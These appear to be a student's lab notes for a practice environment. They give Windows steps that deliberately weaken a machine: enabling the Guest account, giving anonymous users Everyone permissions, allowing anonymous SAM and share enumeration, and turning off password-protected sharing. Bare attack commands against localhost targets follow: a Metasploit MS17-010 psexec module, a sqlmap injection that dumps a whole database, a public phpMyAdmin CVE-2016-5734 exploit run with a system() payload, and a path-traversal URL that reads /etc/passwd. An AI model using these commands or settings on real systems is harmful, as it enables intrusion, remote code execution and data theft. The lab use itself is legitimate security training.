Student Lab

```
Enable the Guest Account:
The built-in Guest account is used for anonymous access. By default, it’s disabled. To enable it, open PowerShell as an administrator and run the following command:
Set-LocalUser -Name "Guest" -Enabled $true

Configure Security Options:
Open the Local Group Policy Editor by running gpedit.msc.
Navigate to:
Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options

Adjust the following settings:
Accounts: Guest Account Status: Set it to Enabled.
Network access: Let Everyone permissions apply to anonymous users: Set it to Enabled.
Network access: Do not allow anonymous enumeration of SAM accounts and shares: Set it to Disabled.
Check Network Sharing Settings:
Ensure that network folder sharing is enabled:
Go to Settings -> Network & Internet -> Ethernet -> Change advanced sharing options.
Verify that Turn on file and printer sharing, Network Discovery, and Turn off password protected sharing are configured appropriately for your network profiles (Private, Public, All networks).
Restart the SMB Service:
After making these changes, restart the SMB service to apply the configuration:
Restart-Service -Name "LanmanServer"

Remember that enabling insecure guest logons can have security implications, so use this configuration carefully and only in scenarios where guest access is necessary1.
```

```
use exploit/windows/smb/ms17_010_psexec
sqlmap -u 'http://localhost:3000/rest/products/search?q=test' -p 'q' --dbms="sqlite" --technique U --prefix "')) " --level 5 --risk 3 --dump-all --no-cast --no-escape --flush
```

```
https://raw.githubusercontent.com/allyshka/exploits/master/CVE-2016-5734/cve-2016-5734.py
./phpma2016.py http://localhost:8080 -u root -p root -c 'system(id);'
```

```
http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```